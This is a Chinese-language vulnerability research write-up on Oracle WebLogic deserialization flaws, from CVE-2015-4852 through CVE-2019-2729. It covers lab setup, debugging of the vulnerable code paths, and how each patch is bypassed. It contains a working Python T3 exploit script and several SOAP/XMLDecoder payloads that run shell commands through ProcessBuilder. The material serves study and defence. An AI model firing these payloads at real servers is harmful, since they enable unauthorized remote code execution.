环境搭建
链接:https://github.com/QAX-A-Team/WeblogicEnvironment
需要自行下载对应版本的 jdk 和 weblogic 放入对应文件夹中

docker设置及远程调试环境配置:
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
访问 http://localhost:7001/console/login/LoginForm.jsp 出现登录页面
新建 middleware 作为用于调试的文件夹
dir ./middleware
docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/modules ./middleware/
docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/wlserver ./middleware/
docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
然后用 IDEA 打开,导入 wlserver/server/lib (Add as Library),之后设置远程调试端口为 8453。
打开 WLSServletAdapter 类,129 行下断点。

访问 http://localhost:7001/wls-wsat/CoordinatorPortType ,若成功拦截,则环境配置完毕。 
CVE-2015-4852(T3 反序列化漏洞)
关于 weblogic 漏洞所需的基础知识可参考这位dalao的文章 https://paper.seebug.org/1012/#weblogic_8.
漏洞点在:weblogic.rjvm.InboundMsgAbbrev#readObject

t3协议的数据流会走这个类,关注 readObject 之后的操作,查看 ServerChannelInputStream 类中的具体方法。

漂亮!resolveClass 中什么防御都无。其中resolveClass 是 readObject 底层流程要走的函数,shiro 反序列化中因为 shiro 框架对 resolveClass 进行了重写导致部分 CC 链打不了。在 weblogic 后续的补丁中也是对这个方法进行了修改。

看一下 weblogic 自带的 CC 链

poc:
from os import popen
import struct # 负责大小端的转换 
import subprocess
from sys import stdout
import socket
import re
import binascii
def generatePayload(gadget,cmd):
    YSO_PATH = "D:/javaweb/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar"
    popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
    return popen.stdout.read()
def T3Exploit(ip,port,payload):
    sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((ip,port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
    sock.sendall(handshake.encode())
    data = sock.recv(1024)
    compile = re.compile("HELO:(.*).0.false")
    match = compile.findall(data.decode())
    if match:
        print("Weblogic: "+"".join(match))
    else:
        print("Not Weblogic")
        return  
    header = binascii.a2b_hex(b"00000000")
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
    desflag = binascii.a2b_hex(b"fe010000")
    payload = header + t3header  +desflag+  payload
    payload = struct.pack(">I",len(payload)) + payload[4:]
    sock.send(payload)
if __name__ == "__main__":
    ip = "172.21.65.112"
    port = 7001
    gadget = "CommonsCollections1"
    cmd = "touch /tmp/CVE-2015-4852"
    payload = generatePayload(gadget,cmd)
    T3Exploit(ip,port,payload)
 
CVE-2016-0638(CVE-2015-4852 修复后的绕过)
在补丁 p21984589_1036_Generic 中,在 ServerChannelInputStream 的 resolveClass 中引入  ClassFilter.isBlackListed 进行过滤,但菜鸡的我没有找到补丁文件。。。这里放一张参考文献中dalao的图:

其实之后的 t3 反序列化就是变着花的绕黑名单了。
补充信息:
在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后,程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法。
在这里需要找的就是其他类的反序列化方法,其中 weblogic.jms.common.StreamMessageImpl 没在黑名单中,在其中的 readExternal 方法中,new 了一个没有被黑名单过滤的对象,并执行了这个对象的 readObject,造成了二次反序列化。

再关注一下这个 var4 是怎么来的

然后把流和一个int传入 copyPayloadFromStream 中

流进到了 createOneSharedChunk 中

创建了一个 chunk ,readExternal 的后续操作就是从中读取数据并进行了反序列化。
这里使用工具 https://github.com/5up3rc/weblogic_cmd 进行分析。
IDEA打开工具,配置执行环境,导入 tools 包(jdk/lib/tool.jar)中,然后打断点。



然后开始 debug,经过参数解析后进入 blindExecute

然后进入到 SerialDataGenerator.serialBlindDatas

分别跟踪这两个函数实现


拼起来正好是一条 CC1。但没完,返回之前还要进入 BypassPayloadSelector.selectBypass ,这一方法用来处理原生链中本应该直接进行反序列化的对象(二次反序列化包装)。

在 Serializables.serialize 中进行序列化

然后调用到最终要反序列化的 StreamMessageImpl

接着 send payload 的实现就和上文 CVE-2015-4852 的 poc 的实现差不多了,构造 t3 数据包然后发送。

 
CVE-2017-3248(利用JRMPClient进行带外rce)
东西很多,挖个坑单独说。 
CVE-2017-3506(XMLDecoder反序列化)
基础知识可参考 https://paper.seebug.org/1012/#weblogic_8,这里先写个demo跟一下XMLDecoder的过程。
poc.xml
<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>calc</string>
            </void>
        </array>
        <void method="start"/>
    </object>
</java>
Main.java
import java.beans.XMLDecoder;
import java.io.*;
public class Main {
    public static void main(String[] args) throws IOException, InterruptedException {
        File file = new File("poc.xml的绝对路径");
        XMLDecoder xd = null;
        try {
            xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
        } catch (Exception e) {
            e.printStackTrace();
        }
        Object s2 = xd.readObject();
        xd.close();
    }
}
第 9 行下个断点,跟进 XMLDecoder 类,发现这里首先 new 了一个 DocumentHandler 对象

首先对各种标签的解析

最后在 处调用 getValue ,得到类的实例。

补上一张@ fnmsd给出的XMLDecoder解析xml的流程图解释整个调用过程

然后就是追一下 weblogic 是在哪调用 XMLDecoder 的
poc:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 172.21.65.112:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 824
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>/bin/bash</string>
              </void>
              <void index="1">
                <string>-c</string>
              </void>
              <void index="2">
                <string>touch /tmp/CVE-2017-3506</string>
              </void>
            </array>
          <void method="start"/></void>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
断点下在 WorkContextTube#readHeaderOld 上,然后进入 receive 中

持续跟进到 readUTF 中,发现反序列化操作

 
CVE-2017-10271(CVE-2017-3506 绕过)
先看一下官方的补丁
private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid context type: object");
               }
            }
         });
      } catch (ParserConfigurationException var5) {
         throw new IllegalStateException("Parser Exception", var5);
      } catch (SAXException var6) {
         throw new IllegalStateException("Parser Exception", var6);
      } catch (IOException var7) {
         throw new IllegalStateException("Parser Exception", var7);
      }
   }
重点就是这:
 if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid context type: object");
标签是 object 的时候报错,是不很理解为什么这么修,这里把 object 标签换成 void 标签照样可以执行命令。
<object class=”java.lang.ProcessBuilder”>    ====>
<void class=”java.lang.ProcessBuilder”>

除了把 isArgument 从 true 变成 false 外全部继承 ObjectElementHandler。 
CVE-2019-2725(CVE-2017-10271绕过 + 新的反序列化组件)
首先看新的 _async 中存在的反序列化触发点(访问路径:/_async/AsyncResponseService)
从接收服务开始的完整解析过程详见https://www.anquanke.com/post/id/177381,这里只重点关注触发漏洞部分。
请求从 BaseWSServlet 开始,断点下在 service 方法,一直跟进到 run 

跟进到处理请求的部分,注意这里接收到的信息是以 Soap 协议解析的


解析后的东西放在了 var7 中,然后跟一下 var7 的 invoke 方法

在进行soap的初始化后进入 dispatch 中,跟进到 handleRequest 中

在 WorkContextXmlInputAdapter 中调用了 XMLDecoder

跟进 receiveRequest 方法中,发现调用了 readUTF ,剩下的流程接上前面分析的就可以了。

关于补丁的绕过,先分析一下补丁代码:
private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            private int overallarraylength = 0;
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid element qName:object");
               } else if(qName.equalsIgnoreCase("new")) {
                  throw new IllegalStateException("Invalid element qName:new");
               } else if(qName.equalsIgnoreCase("method")) {
                  throw new IllegalStateException("Invalid element qName:method");
               } else {
                  if(qName.equalsIgnoreCase("void")) {
                     for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                         throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                        }
                     }
                  }
                   if(qName.equalsIgnoreCase("array")) {
                     String var9 = attributes.getValue("class");
                     if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                        throw new IllegalStateException("The value of class attribute is not valid for array element.");
                     }
解释一下就是 ban 掉了object、new、method标签,如果使用void标签,只能有index属性,如果使用array标签,且标签使用的是class属性,则它的值只能是byte。
那么我们需要找一个参数是 byte 类型的类尝试反序列化,这里采用的 jdk7u21的那条链。
7u21 的命令执行部分是将 Templateslmpl 对象的 _bytecodes 动态生成为对象,于是该类的static block和构造函数便会自动执行,造成命令执行。
poc (部分):
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><array class="byte" length="8970">
                <void index="0">
                <byte>-84</byte>
                ...
                ...
            </array></void></class>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>
  
CVE-2019-2729 (CVE-2019-2725 绕过)
具体挖掘细节可参考 https://xz.aliyun.com/t/5448 ,这里给出最后结论.
poc:(jdk1.6可行)
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <array method="forName">
                    <string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
                    <void>
                        <array class="byte" length="3748">
                            ...
                        </array>
                    </void>
                </array>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>
把 <class> 换成了 <array method="forName">, 宏观上理解就是通过Class.forName(classname)来取到我们想要的类.
在 jdk1.7 中, array 标签并不会受理 method 属性(没有意义), 但在 jdk1.6中的实现方法是:
        } else if (var1 == "array") {
            var14 = (String)var3.get("class");
            Class var10 = var14 == null ? Object.class : this.classForName2(var14);
            var11 = (String)var3.get("length");
            if (var11 != null) {
                var4.setTarget(Array.class);
                var4.addArg(var10);
                var4.addArg(new Integer(var11));
            }
它将所有的标签属性进行统一处理,但是又没有进行有效性验证, 所以出现了绕过.